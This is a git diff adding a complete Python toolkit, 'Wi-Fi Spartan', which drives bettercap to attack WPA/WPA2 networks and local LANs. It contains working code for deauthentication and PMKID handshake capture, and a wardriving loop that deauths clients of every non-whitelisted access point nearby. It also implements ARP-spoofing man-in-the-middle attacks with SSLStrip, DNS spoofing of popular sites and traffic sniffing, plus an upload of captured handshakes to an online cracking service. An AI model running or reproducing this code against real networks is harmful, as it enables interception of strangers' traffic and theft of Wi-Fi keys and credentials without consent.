diff --git a/README.md b/README.md new file mode 100644 index 0000000..226e9ac --- /dev/null +++ b/README.md @@ -0,0 +1,24 @@ +# Wi-Fi Spartan ⚔️ +Smart pentesting toolkit for modern WPA/WPA2 networks ⚔️📡 + +![alt text](https://github.com/javiln8/wifi_spartan/blob/master/images/logo.png?raw=true) + +### Requirements +The toolkit uses `bettercap` as its backend framework for attacking networks. Can be installed with any packet manager. + +### Usage +Run `python3 wifi_spartan.py --help` to see all available commands and options. To see all available options of a function, run `python3 wifi_spartan.py --help`. + +Wi-Fi spartan modules: +- [x] `scan`: wireless spectrum scanner +- [x] `deauth`: deauthentication attack to attempt to capture the 4-way handshake +- [x] `pmkid`: PMKID client-less attack +- [x] `spoof scan`: local network hosts scanner +- [x] `spoof spy`: MiTM attack with ARP spoofing +- [x] `automata`: wardriving automation with deep reinforcement learning techniques. + + +### Future implementations +- [ ] `jam`: WiFi jamming with packet flooding +- [ ] `rogue`: Evil Twin attack +- [ ] `crack`: dictionary attack to attempt to crack the PSK diff --git a/dns.spoof.hosts b/dns.spoof.hosts new file mode 100644 index 0000000..c95db8d --- /dev/null +++ b/dns.spoof.hosts @@ -0,0 +1,5 @@ +1.2.3.4 facebook.com +1.2.3.5 linkedin.com +1.2.3.6 netflix.com +1.2.4.6 www.google.com +1.2.5.7 www.reddit.com diff --git a/images/logo.png b/images/logo.png new file mode 100644 index 0000000..a465e0f Binary files /dev/null and b/images/logo.png differ diff --git a/key_material/note.txt b/key_material/note.txt new file mode 100644 index 0000000..665643e --- /dev/null +++ b/key_material/note.txt @@ -0,0 +1 @@ +All key material captured with WiFi Spartan will be stored here, in pcap format. diff --git a/parameters.yaml b/parameters.yaml new file mode 100644 index 0000000..5cc5d0b --- /dev/null +++ b/parameters.yaml @@ -0,0 +1,9 @@ +# Wireless spectrum parameters +min_rssi: -200 +ap_ttl: 120 +station_ttl: 300 + +# Recon and channel hopping parameters +recon_time: 30 +hop_recon_time: 10 +min_recon_time: 5 diff --git a/smart/__init__.py b/smart/__init__.py new file mode 100644 index 0000000..ea636c5 --- /dev/null +++ b/smart/__init__.py @@ -0,0 +1,61 @@ +from stable_baselines import A2C +from stable_baselines.common.policies import MlpLstmPolicy +from stable_baselines.common.vec_env import DummyVecEnv +from tensorflow.python.util import deprecation +import logging + +from spartan.smart.learn import Environment +import spartan.smart.state + +import os +import numpy as np + +# Configure AI logs and disbale other logs +logging.basicConfig(filename='spartan/smart/ai.log',level=logging.DEBUG) +logging.getLogger("requests").setLevel(logging.CRITICAL) +logging.getLogger("urllib3").setLevel(logging.CRITICAL) +logging.getLogger("tensorflow").setLevel(logging.CRITICAL) +logging.getLogger("gym").setLevel(logging.CRITICAL) + +# A2C parameters +hyperparameters = { + 'gamma': 0.99, + 'n_steps': 1, + 'vf_coef': 0.25, + 'ent_coef': 0.01, + 'max_grad_norm': 0.5, + 'learning_rate':0.001, + 'alpha': 0.99, + 'epsilon': 0.00001, + 'verbose': 1, + 'lr_schedule': "constant", +} + +MODEL_PATH = 'spartan/smart/brain.nn' +TENSORBOARD_PATH = './spartan/smart/tensorboard' + +# Load the AC2 model +def load_model(parameters, agent, state): + env = Environment(agent, state) + env = DummyVecEnv([lambda: env]) + logging.info("[smart] Gym environment generated...") + + a2c = A2C(MlpLstmPolicy, env, **hyperparameters, tensorboard_log=TENSORBOARD_PATH) + logging.info("[smart] A2C created...") + + if os.path.exists(MODEL_PATH): + a2c.load(MODEL_PATH, env) + logging.info("[smart] A2C model loaded...") + + return a2c + +def featurize(state): + total_interactions = state['deauths'] + 1e-20 + + return np.concatenate(( + [state['misses'] / total_interactions], + #[state['new_aps'] / total_interactions], + [state['hops'] / 140], + [state['deauths'] / total_interactions], + [state['handshakes'] / total_interactions], + )) diff --git a/smart/__pycache__/__init__.cpython-37.pyc b/smart/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..a2a63d5 Binary files /dev/null and b/smart/__pycache__/__init__.cpython-37.pyc differ diff --git a/smart/__pycache__/learn.cpython-37.pyc b/smart/__pycache__/learn.cpython-37.pyc new file mode 100644 index 0000000..0c63cc7 Binary files /dev/null and b/smart/__pycache__/learn.cpython-37.pyc differ diff --git a/smart/__pycache__/state.cpython-37.pyc b/smart/__pycache__/state.cpython-37.pyc new file mode 100644 index 0000000..759662d Binary files /dev/null and b/smart/__pycache__/state.cpython-37.pyc differ diff --git a/smart/learn.py b/smart/learn.py new file mode 100644 index 0000000..060983c --- /dev/null +++ b/smart/learn.py @@ -0,0 +1,183 @@ +from spartan.smart import state +from spartan.utils import post +import spartan.smart + +import gym +from gym import spaces +import numpy as np +import logging + +# Parameters to optimize while learning +class Parameter(object): + def __init__(self, name, value=0.0, min_value=0, max_value=2, channel=None, trainable=True): + self.name = name + self.channel = channel + self.value = value + self.min_value = min_value + self.max_value = max_value + 1 + + if self.min_value < 0: + self.scale_factor = abs(self.min_value) + elif self.min_value > 0: + self.scale_factor = -self.min_value + else: + self.scale_factor = 0 + + # Size of the parameter space + def space_size(self): + return self.max_value + self.scale_factor + + # Value function + def parameter_to_value(self, policy): + self.value = policy - self.scale_factor + return int(self.value) + +# OpenAI custom Gym Environment +class Environment(gym.Env): + metadata = {'render.modes': ['human']} + parameters = [ + Parameter('min_rssi', min_value=-200, max_value=-50), + Parameter('ap_ttl', min_value=30, max_value=600), + Parameter('station_ttl', min_value=60, max_value=300), + Parameter('recon_time', min_value=10, max_value=60), + Parameter('hop_recon_time', min_value=10, max_value=60), + Parameter('min_recon_time', min_value=5, max_value=30), + ] + + def __init__(self, agent, state): + super(Environment, self).__init__() + self.agent = agent + self.state = state + self.epoch_number = 0 + self.wifi_channels = 140 + self.observation_shape = (1,4) # 4: handshakes, misses, hops, deauths, new_aps + self.reward_range = (-.7, 1.02) + self.cache_state = None + self.cache_render = None + + for channel in range(self.wifi_channels): + Environment.parameters += [Parameter('channel_' + str(channel), min_value=0, max_value=1, channel=channel + 1)] + + # OpenAI Gym spaces + self.action_space = spaces.MultiDiscrete([p.space_size() for p in Environment.parameters]) + self.observation_space = spaces.Box(low=0, high=1, shape=self.observation_shape, dtype=np.float32) + + self.last = { + 'reward': 0.0, + 'policy': None, + 'parameters': {}, + 'state': None, + 'vectorized_state': None + } + + # Update the model parameters given a optimization policy + def update_parameters(policy): + parameters = {} + channels = [] + + assert len(Environment.parameters) == len(policy) + + for i in range(len(policy)): + parameter = Environment.parameters[i] + if 'channel' not in parameter.name: + parameters[parameter.name] = parameter.parameter_to_value(policy[i]) + else: + has_channel = parameter.parameter_to_value(policy[i]) + channel = parameter.channel + if has_channel: + channels.append(channel) + + parameters['channels'] = channels + + return parameters + + # Perform a iteration of the agent-environment loop + def step(self, policy): + new_parameters = Environment.update_parameters(policy) + self.last['policy'] = policy + self.last['parameters'] = new_parameters + + # Agent performs the action + self.agent.apply_policy(new_parameters) + self.epoch_number += 1 + + while (True): + # Wait for state data in parallel + if self.state.state_data and self.cache_state != self.state.state: + logging.info('[smart] State data: ' + str(self.state.state_data)) + + self.last['reward'] = self.state.state_data['reward'] + self.last['state'] = self.state.state_data + self.last['vectorized_state'] = spartan.smart.featurize(self.last['state']) + + self.agent.model.env.render() + self.agent.save_model() + + self.cache_state = self.state.state + + return self.last['vectorized_state'], self.last['reward'], False, {} + + # Reset the environment + def reset(self): + logging.info("[smart] Resetting the environment...") + self.epoch_number = 0 + if self.state.state_data: + self.last['state'] = self.state.state_data + self.last['vectorized_state'] = spartan.smart.featurize(self.state.state_data) + + return self.last['vectorized_state'] + + # Output environment data + def render(self, mode='human', close=False, force=False): + if self.cache_render == self.epoch_number: + return + + self.cache_render = self.epoch_number + + logging.info('[smart] Training epoch: ' + str(self.epoch_number)) #self._agent.training_epochs()))') + logging.info('[smart] Reward: ' + str(self.last['reward'])) + #print('Policy: ' + join("%s:%s" % (name, value) for name, value in self.last['parameters'].items()))) + +# Train the AI using A2C policy optimization +class Trainer(object): + def __init__(self, parameters): + self.parameters = parameters + self.model = None + + def train(self): + epochs_per_state = 50 + + self.model = spartan.smart.load_model(self.parameters, self, self.state) + + observations = None + while True: + self.model.env.render() + logging.info('[smart] Learning for ' + str(epochs_per_state) + ' epochs.') + self.model.learn(total_timesteps=epochs_per_state, callback=self.model.env.render()) + + if not observations: + observations = self.model.env.reset() + + action, _ = self.model.predict(observations) + observations, _, _, _ = self.model.env.step(action) + + # Save the A2C model + def save_model(self): + logging.info('[smart] Saving model') + self.model.save(spartan.smart.MODEL_PATH) + + # Apply new parameters + def apply_policy(self, new_parameters): + logging.info('[smart] Updating parameters with the new policy.') + for name, new_value in new_parameters.items(): + if name in self.parameters: + current_value = self.parameters[name] + + # Update the parameter value + if current_value != new_value: + self.parameters[name] = new_value + logging.info('[smart] Updating ' + str(name)+ ': ' + str(new_value)) + + post('set wifi.ap.ttl ' + str(self.parameters['ap_ttl'])) + post('set wifi.sta.ttl ' + str(self.parameters['station_ttl'])) + post('set wifi.rssi.min ' + str(self.parameters['min_rssi'])) diff --git a/smart/state.py b/smart/state.py new file mode 100644 index 0000000..b2f5480 --- /dev/null +++ b/smart/state.py @@ -0,0 +1,70 @@ +# Reward function of the reinforcement learning process +class RewardFunction(object): + def __call__(self, total_states, state_data): + total_interactions = max(state_data['deauths'], state_data['handshakes']) + 1e-20 + total_channels = 140 + + shakes = state_data['handshakes'] / total_interactions + hops = 0.1 * (state_data['hops'] / total_channels) + misses = -0.3 * (state_data['misses'] / total_interactions) + #new_aps = +0.3 * (state_data['new_aps'] / total_interactions) + + return shakes + hops + misses #+ new_aps + +# Information about each wardrive state (state = one loop of wardrive session) +class State(object): + def __init__(self, parameters): + self.state = 0 + self.parameters = parameters + + self.did_deauth = False + self.deauths = 0 + self.misses = 0 + self.new_aps = 0 + self.handshakes = 0 + self.hops = 0 + + self.reward = RewardFunction() + self.state_data = {} + + # Track usefuel state statistics + def track(self, deauth=False, handshake=False, hop=False, miss=False, new=False, increment=1): + if deauth: + self.deauths += increment + self.did_deauth = True + if miss: + self.misses += increment + if hop: + self.hops += increment + if handshake: + self.handshakes += increment + if new: + self.new_aps += increment + + # Rotate the state + def next_state(self): + self.state_data = { + 'hops': self.hops, + 'deauths': self.deauths, + 'handshakes': self.handshakes, + 'misses': self.misses, + #'new_aps': self.new_aps, + } + + self.state_data['reward'] = self.reward(self.state + 1, self.state_data) + + print('\nSTATE:' + str(self.state)) + print('Number of channel hops: ' + str(self.hops)) + print('Number of deauths: ' + str(self.deauths)) + print('Number of captured handshakes: ' + str(self.handshakes)) + print('Number of missed APs: ' + str(self.misses)) + print('Number of discovered new APs: ' + str(self.new_aps)) + print('Reward: ' + str(self.state_data['reward']) + '\n') + + self.state += 1 + self.did_deauth = False + self.deauths = 0 + self.misses = 0 + self.new_aps = 0 + self.handshakes = 0 + self.hops = 0 diff --git a/spartan/__init__.py b/spartan/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/spartan/__pycache__/__init__.cpython-37.pyc b/spartan/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..7aee868 Binary files /dev/null and b/spartan/__pycache__/__init__.cpython-37.pyc differ diff --git a/spartan/__pycache__/automata.cpython-37.pyc b/spartan/__pycache__/automata.cpython-37.pyc new file mode 100644 index 0000000..a656da6 Binary files /dev/null and b/spartan/__pycache__/automata.cpython-37.pyc differ diff --git a/spartan/__pycache__/capture.cpython-37.pyc b/spartan/__pycache__/capture.cpython-37.pyc new file mode 100644 index 0000000..0bc4ea3 Binary files /dev/null and b/spartan/__pycache__/capture.cpython-37.pyc differ diff --git a/spartan/__pycache__/crack.cpython-37.pyc b/spartan/__pycache__/crack.cpython-37.pyc new file mode 100644 index 0000000..67a3699 Binary files /dev/null and b/spartan/__pycache__/crack.cpython-37.pyc differ diff --git a/spartan/__pycache__/scan.cpython-37.pyc b/spartan/__pycache__/scan.cpython-37.pyc new file mode 100644 index 0000000..12132c4 Binary files /dev/null and b/spartan/__pycache__/scan.cpython-37.pyc differ diff --git a/spartan/__pycache__/spoof.cpython-37.pyc b/spartan/__pycache__/spoof.cpython-37.pyc new file mode 100644 index 0000000..906c767 Binary files /dev/null and b/spartan/__pycache__/spoof.cpython-37.pyc differ diff --git a/spartan/__pycache__/utils.cpython-37.pyc b/spartan/__pycache__/utils.cpython-37.pyc new file mode 100644 index 0000000..e08ea5a Binary files /dev/null and b/spartan/__pycache__/utils.cpython-37.pyc differ diff --git a/spartan/automata.py b/spartan/automata.py new file mode 100644 index 0000000..41f1563 --- /dev/null +++ b/spartan/automata.py @@ -0,0 +1,162 @@ +from spartan import scan +from spartan import capture +from spartan.smart import state, learn +from spartan.utils import post, get, delete_events + +import requests +import json +import subprocess +import os +import time +import signal +import yaml +import _thread + +API_COOLDOWN = 5 + +class Agent(learn.Trainer): + def __init__(self, parameters): + self.parameters = parameters + self.current_channel = 0 + self.access_points = [] + self.ap_whitelist = [] + + learn.Trainer.__init__(self, parameters) # Train the AI and update parameters + self.state = state.State(parameters) # Wireless spectrum state + + # Define a unique .pcap for the wardrive session + self.session_pcap = './key_material/wardrive_session_' + \ + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + + # Reset parameters + def reset_parameters(self): + post('set wifi.rssi.min ' + str(self.parameters['min_rssi'])) + post('set wifi.sta.ttl ' + str(self.parameters['station_ttl'])) + post('set wifi.ap.ttl ' + str(self.parameters['ap_ttl'])) + + post('set wifi.handshakes.file ' + self.session_pcap) + + # Return a dictionary with APs per channel sorted by populated + def get_aps_per_channel(self): + self.access_points.sort(key=lambda ap: ap['channel']) + + aps_per_channel = {} + for ap in self.access_points: + if ap['hostname'] not in self.ap_whitelist: + channel = ap['channel'] + + if channel not in aps_per_channel: + aps_per_channel[channel] = [ap] + else: + aps_per_channel[channel].append(ap) + + return sorted(aps_per_channel.items(), key=lambda kv: len(kv[1]), reverse=True) + + # Channel hopping + def set_channel(self, channel): + if self.state.did_deauth: + wait = self.parameters['hop_recon_time'] + else: + wait = self.parameters['min_recon_time'] + + if channel != self.current_channel: + time.sleep(wait) # Wait for the loot + post('wifi.recon.channel ' + str(channel)) + print('\nHOP TO CHANNEL ' + str(channel)) + self.state.track(hop=True) + self.current_channel = channel + self.state.did_deauth = False # Did deauth in the previous channel + + # Check if handshakes has been captured successfully or missed APs + def track_state_events(self): + handshake_json = [] + + events = get('events') + for event in json.loads(events.text): + if event['tag'] == 'wifi.client.handshake': + handshake_json.append(event['data']) + if event['tag'] == 'wifi.ap.lost': + self.state.track(miss=True) + if event['tag'] == 'wifi.ap.new': + self.state.track(new=True) + + if handshake_json: + self.state.track(handshake=True, increment=len(handshake_json)) + print('\nCaptured handshakes in this state:') + for handshake in handshake_json: + if (handshake['full']): + print('Captured full handshake of client ' + handshake['station']) + elif (handshake['half']): + print('Captured half handshake of client ' + handshake['station']) + + delete_events() + + # Automated function to wardrive + def wardrive(self): + with open('wifi_whitelist.txt') as f: + self.ap_whitelist = f.readlines() + self.ap_whitelist = [ap.strip() for ap in self.ap_whitelist] + + print('APs that are not going to be attacked: '+ str(self.ap_whitelist)) + + # Start the model training and learning in another thread + _thread.start_new_thread(self.train, ()) + + post('wifi.recon on') + + while True: + recon_time = self.parameters['recon_time'] + + self.current_channel = 0 + post('wifi.recon.channel clear') + post('wifi.assoc all') + time.sleep(recon_time) + + # JSON with the APs information + aps_request = get('session/wifi') + self.access_points = json.loads(aps_request.text)['aps'] + + channels = self.get_aps_per_channel() + + for channel, aps in channels: + self.set_channel(channel) + + for ap in aps: + print('\nAccess Point: ' + ap['hostname']) + post('wifi.assoc ' + ap['mac']) + + # Deauth all clients of the AP + n_clients = len(ap['clients']) + if n_clients > 0: + for client in ap['clients']: + print('Deauth attack against client: ' + client['mac']) + post('wifi.deauth ' + client['mac']) + self.state.track(deauth=True) + + self.track_state_events() + self.state.next_state() + +# Start the smart wardrive module +def start(args): + #Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_COOLDOWN) # Time needed to start requesting data without errors + + try: + # Load agent parameters + with open('parameters.yaml') as f: + parameters = yaml.load(f) + + agent = Agent(parameters=parameters) + agent.reset_parameters() + agent.wardrive() + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() diff --git a/spartan/capture.py b/spartan/capture.py new file mode 100644 index 0000000..e1d557e --- /dev/null +++ b/spartan/capture.py @@ -0,0 +1,152 @@ +import json +import subprocess +import os +import time +import signal + +from spartan import scan +from spartan import crack +from spartan.utils import post, get, delete_events + +API_COOLDOWN = 5 + +# Print information regarding the captured handshake +def get_handshake_info(handshake_file): + handshake_json = [] + + events = get('events') + + for event in json.loads(events.text): + if event['tag'] == 'wifi.client.handshake': + handshake_json.append(event['data']) + + + # Print information about the generated capture + if handshake_json: + print('\n' + handshake_file + ' capture summary:') + for handshake in handshake_json: + if handshake_file == handshake['file'].split('/')[-1]: + if (handshake['full']): + print('Captured full handshake of client ' + handshake['station']) + elif (handshake['half']): + print('Captured half handshake of client ' + handshake['station']) + + delete_events() + +# Launch a WiFi deauthentication attack in order to capture handshackes +def deauth_attack(bssid): + # Generate an unique handshake file name and set the path to be stored + handshake_file = './key_material/ ' + str(bssid) + '_' + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + delete_events() + post('set wifi.handshakes.file ' + handshake_file) + + print('Launching a deauthentication attack against: ' + str(bssid)) + + attempts = 0 + max_attempts = 10 + while not(os.path.isfile(handshake_file) or attempts > max_attempts): + print('Access point clients are being deauthenticated...') + post('wifi.deauth ' + bssid) + attempts += 1 + time.sleep(API_COOLDOWN) + + # Check if the captured .pcap is valid + time.sleep(API_COOLDOWN) + if(os.path.isfile(handshake_file)): + if(crack.pcap_to_hccapx(handshake_file)): + print('Handshake of ' + str(bssid) + ' captured successfully.') + get_handshake_info(handshake_file.split('/')[-1]) + + # Captured file does not have enough data + else: + print('No handshake has been captured with success.') + elif attempts > max_attempts: + print('Maximum number of attempts reached, no handshake has been captured with success.') + +# Check if the given BSSID exists and if it has clients +def check_bssid(bssid): + aps_json = scan.request_aps() + + # Iterate through all the access points searching for the given BSSID + bssid_exists = False + for ap in aps_json: + if ap['mac'] == bssid: + bssid_exists = True + if len(ap['clients']) > 0: + print('\nBSSID exists and has clients connected.') + return True + else: + print('\nBSSID exists but does not have any client connected at the moment.') + return False + if not bssid_exists: + print('\nBSSID does not exist.') + exit() + +# PMKID client-less attack vector +def pmkid_attack(): + print('\nLaunching a PMKID client-less attack to all visible access points.') + + # Generate a new .pcap file if new PMKID keys are retrieved + pmkid_file = './key_material/pmkid_keys_' + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + post('set wifi.handshakes.file ' + pmkid_file) + + post('wifi.recon on') + post('wifi.assoc all') + time.sleep(API_COOLDOWN*2) # Time needed to associate all APs + + if(os.path.isfile(pmkid_file)): + if(crack.pcap_to_hccapx(pmkid_file)): + print('PMKID keys captured: ' + pmkid_file.split('/')[-1]) + #exit() + else: + print('No PMKID key were captured. Not all access points are vulnerable to this attack.') + #exit() + if not(os.path.isfile(pmkid_file)): + print('No PMKID key were captured. Not all access points are vulnerable to this attack.') + #exit() + +# Start capturing key material given a BSSID +def start_deauth(args): + #Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_COOLDOWN) # Time needed to start requesting data without errors + + try: + has_clients = check_bssid(args.bssid) + + # Start a WiFi deauthentication attack + if has_clients: + deauth_attack(args.bssid) + + else: + print('To deauthenticate an access point we need clients.') + exit() + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() + +# Start a PMKID client-less attack to all access points +def start_assoc(args): + #Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_COOLDOWN) # Time needed to start requesting data without errors + + try: + pmkid_attack() + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() diff --git a/spartan/crack.py b/spartan/crack.py new file mode 100644 index 0000000..556e434 --- /dev/null +++ b/spartan/crack.py @@ -0,0 +1,51 @@ +import os +import json +import requests + +OHC_URL = 'https://api.onlinehashcrack.com' + +# Convert the capture file to Hashcat WPA format +def pcap_to_hccapx(pcap_path): + pcap_file = pcap_path.split('/')[-1] + hccapx_file = pcap_file.split('.')[0] + '.hccapx' + hccapx_path = 'key_material/' + hccapx_file + + # Generate a .hccapx for the 4-way handshake + if(pcap_file.split('_')[0] == 'deauth'): + hcxpcaptool_command = 'hcxpcaptool -o ' + hccapx_path + ' ' + pcap_path + os.system(hcxpcaptool_command + ' > /dev/null') + + # Generate a .hccapx for the PMKID key + elif(pcap_file.split('_')[0] == 'pmkid'): + hcxpcaptool_command = 'hcxpcaptool -k ' + hccapx_path + ' ' + pcap_path + os.system(hcxpcaptool_command + ' > /dev/null') + + # Captured file has key material + if (os.path.isfile(hccapx_path)): + print('\nSuccess! Captured key material.') + print('Converted the captured file into Hashcat format: ' + hccapx_file) + return True + + else: + return False + +# Call the OnlineHashCrack API +def crack(file, email): + data = {'email': email} + payload = {'file': open(file, 'rb')} + + try: + result = requests.post(OHC_URL, data=data, files=payload) + print(result.text) + print('Your hash is being cracked, check your email for updates on the progress...') + exit() + + except requests.exceptions.RequestException as e: + print('Exception while updating the hashes.') + +def start(args): + if not args.email: + print('Specify a valid email to send resutls.') + exit() + + crack(args.file, args.email) diff --git a/spartan/scan.py b/spartan/scan.py new file mode 100644 index 0000000..0ab53a8 --- /dev/null +++ b/spartan/scan.py @@ -0,0 +1,70 @@ +import requests +import json +import subprocess +import os +import time +import signal +import columnar + +from spartan.utils import post, get + +BASE_URL = 'http://127.0.0.1:8081' +API_SETUP = 1 +API_COOLDOWN = 5 + +# Generate a JSON dump with all access points info +def request_aps(): + # Start the Bettercap WiFi module + post('wifi.recon on') + + # JSON with the APs information + aps_request = get('session/wifi') + aps_json = json.loads(aps_request.text)['aps'] + + return aps_json + +# Generate a table with the available access points +def show_aps(args): + print('\nScanning the available wireless spectrum...') + aps_json = request_aps() + + # Generate a columnar table to show the APs info + headers = ['rssi', 'essid', 'bssid', 'clients', 'encryption', 'auth', 'cipher'] + ap_data = [] + for ap in aps_json: + n_clients = len(ap['clients']) + if not args.clients: + ap_data.append([str(ap['rssi']) + ' dBm', ap['hostname'], ap['mac'], n_clients, ap['encryption'], ap['authentication'], ap['cipher']]) + elif args.clients and (n_clients > 0): + ap_data.append([str(ap['rssi']) + ' dBm', ap['hostname'], ap['mac'], n_clients, ap['encryption'], ap['authentication'], ap['cipher']]) + + if ap_data: + ap_data.sort() + ap_table = columnar.columnar(ap_data, headers, no_borders=True) + print(ap_table) + + +# Start scanning the available wireless spectrum +def start(args): + # Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_SETUP) # Time needed to start requesting data without errors + + try: + if args.refresh: + # Refresh the scanner indefinitely + while(True): + show_aps(args) + time.sleep(API_COOLDOWN) + else: + show_aps(args) + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() diff --git a/spartan/spoof.py b/spartan/spoof.py new file mode 100644 index 0000000..563b16b --- /dev/null +++ b/spartan/spoof.py @@ -0,0 +1,153 @@ +import json +import subprocess +import os +import time +import signal +import columnar +import re + +from spartan.utils import post, get, delete_events + +API_SETUP = 3 +API_COOLDOWN = 3 + +# Get a JSON dump for all the clients of the local network +def get_net_json(): + # Start the Bettercap Ethernet module + post('net.probe on') + + time.sleep(API_COOLDOWN) + + net_request = get('session/lan') + net_json = json.loads(net_request.text)['hosts'] + + return net_json + +# Scan the local network for clients +def scan_net(): + print('\nScanning local network hosts...') + + net_json = get_net_json() + + if net_json: + # Show the network hosts as a column + net_data = [] + for host in net_json: + net_data.append([host['ipv4'], host['mac'], host['hostname'], host['vendor']]) + + headers = ['ip', 'mac', 'hostname', 'vendor'] + net_data.sort() + net_table = columnar.columnar(net_data, headers, no_borders=True) + print(net_table) + else: + print('Error scanning the network, check Internet connectivity.') + exit() + +# Get a list of the API event stream and display useful info +def spoof_summary(): + spoof_events = get('events') + spoof_json = json.loads(spoof_events.text) + + show_events = ['net.sniff.dns', 'net.sniff.https', 'net.sniff.http.request', 'net.sniff.mdns'] + + for event in spoof_json: + if event['tag'] in show_events: + message = event['data']['message'] + # Remove the ANSI escape sequences from a string + reaesc = re.compile(r'\x1b[^m]*m') + message = reaesc.sub('', message) + print(message) + + delete_events() + +# Full-duplex ARP spoofing to all hosts +def arp_spoof(args): + post('net.probe on') + + if args.target == '*': + print('\nARP Spoofing all network clients...') + else: + print('\nARP Spoofing ' + args.target + '...') + + post('set arp.spoof.internal true') + #post('set arp.spoof.fullduplex true') + + if args.target == '*': + post('set arp.spoof.targets 192.168.1.*') + else: + post('set arp.spoof.targets ' + args.target) + + # Generate a .pcap file where all the traffic is going to be logged + pcap_file = './key_material/arp_spoof_' + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + print('All traffic will be logged at: ' + pcap_file) + post('set net.sniff.output ' + pcap_file) + post('set net.sniff.local true') + + time.sleep(API_COOLDOWN) + + # Start HTTP and HTTPS proxies with SSLStrip deployed to attempt to decrypt HTTPS traffic + if args.proxies: + print('Deploying HTTP and HTTPS proxies with SSLStrip...') + post('set http.proxy.sslstrip true') + post('set https.proxy.sslstrip true') + + post('http.proxy on') + post('https.proxy on') + + if args.dns: + print('Spoofing DNS queries (redirections defined in dns.spoof.hosts file)') + post('set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on') + + # Start the ARP Spoof + sniff the network + post('arp.spoof on') + post('net.sniff on') + + print('\nSniffing traffic...') + while(True): + time.sleep(API_COOLDOWN) + spoof_summary() + +# Start the local network scanner +def start_scan(args): + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_SETUP) + + try: + scan_net() + + except Exception as e: + print(e) + + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() + +# Start the MiTM Attack vector +def start_spy(args): + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_SETUP) + + try: + net_json = get_net_json() + client_exists = False + for host in net_json: + if host['ipv4'] == args.target: + client_exists = True + + if client_exists: + arp_spoof(args) + + else: + print('\nClient does not exist.') + exit() + + except Exception as e: + print(e) + + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except Exception as e: + exit() diff --git a/spartan/utils.py b/spartan/utils.py new file mode 100644 index 0000000..da3ddc6 --- /dev/null +++ b/spartan/utils.py @@ -0,0 +1,16 @@ +import requests +import sys + +BASE_URL = 'http://127.0.0.1:8081' + +def post(msg): + post = requests.post(BASE_URL + '/api/session', json={'cmd': msg}, auth=('user', 'pass')) + return post + +def get(msg): + get = requests.get(BASE_URL + '/api/' + msg, auth=('user', 'pass')) + return get + +def delete_events(): + delete = requests.delete(BASE_URL + '/api/events', auth=('user', 'pass')) + return delete diff --git a/wifi_spartan.py b/wifi_spartan.py new file mode 100644 index 0000000..30088a2 --- /dev/null +++ b/wifi_spartan.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 + +from spartan import scan +from spartan import capture +from spartan import crack +from spartan import automata +from spartan import spoof + +import argparse + +# Main function +def start(): + # Generate the arguments/options parser for the toolkit + parser = argparse.ArgumentParser(description='Smart pentest toolkit for modern WPA/WPA2 networks.') + subparsers = parser.add_subparsers(help='Available commands') + + # Option for the scan module + parser_scan = subparsers.add_parser('scan', help='Scan the available 802.11 wireless spectrum') + parser_scan.add_argument('-r', '--refresh', action='store_true', help='Update the scanner every few seconds') + parser_scan.add_argument('-c', '--clients', action='store_true', help='Only show APs with clients connected') + parser_scan.set_defaults(function=scan.start) + + # Option for the deauthentication attack module + parser_deauth = subparsers.add_parser('deauth', help='Attempt to capture 4-way handshake given a BSSID') + parser_deauth.add_argument('bssid', help='target BSSID') + parser_deauth.set_defaults(function=capture.start_deauth) + + # Option for the PMKID client-less attack module + parser_pmkid = subparsers.add_parser('pmkid', help='Attempt to capture PMKID keys of all available access points (helps to scan more APs)') + parser_pmkid.set_defaults(function=capture.start_assoc) + + # Option for the crack module + #parser_crack = subparsers.add_parser('crack', help='Dictionary attack to attempt to crack the PSK') + #parser_crack.add_argument('file', help='Path to the target .hccapx or .pcap file') + #parser_crack.add_argument('-e', '--email', help='Valid email to send results') + #parser_crack.set_defaults(function=crack.start) + + # Option for the wardrive module + parser_automata = subparsers.add_parser('automata', help='Automated smart wardrive session, powered by reinforcement learning') + parser_automata.set_defaults(function=automata.start) + + # Option for the spoof/MiTM module + parser_spoof = subparsers.add_parser('spoof', help='Man in the Middle attack with ARP spoofing') + subparser_spoof = parser_spoof.add_subparsers(help='Commands for the Man in the Middle attack vector') + + parser_spoof_scan = subparser_spoof.add_parser('scan', help='Scan and display the hosts of the local network') + parser_spoof_scan.set_defaults(function=spoof.start_scan) + + parser_spoof_spy = subparser_spoof.add_parser('spy', help='Start the ARP spoofing and sniff the 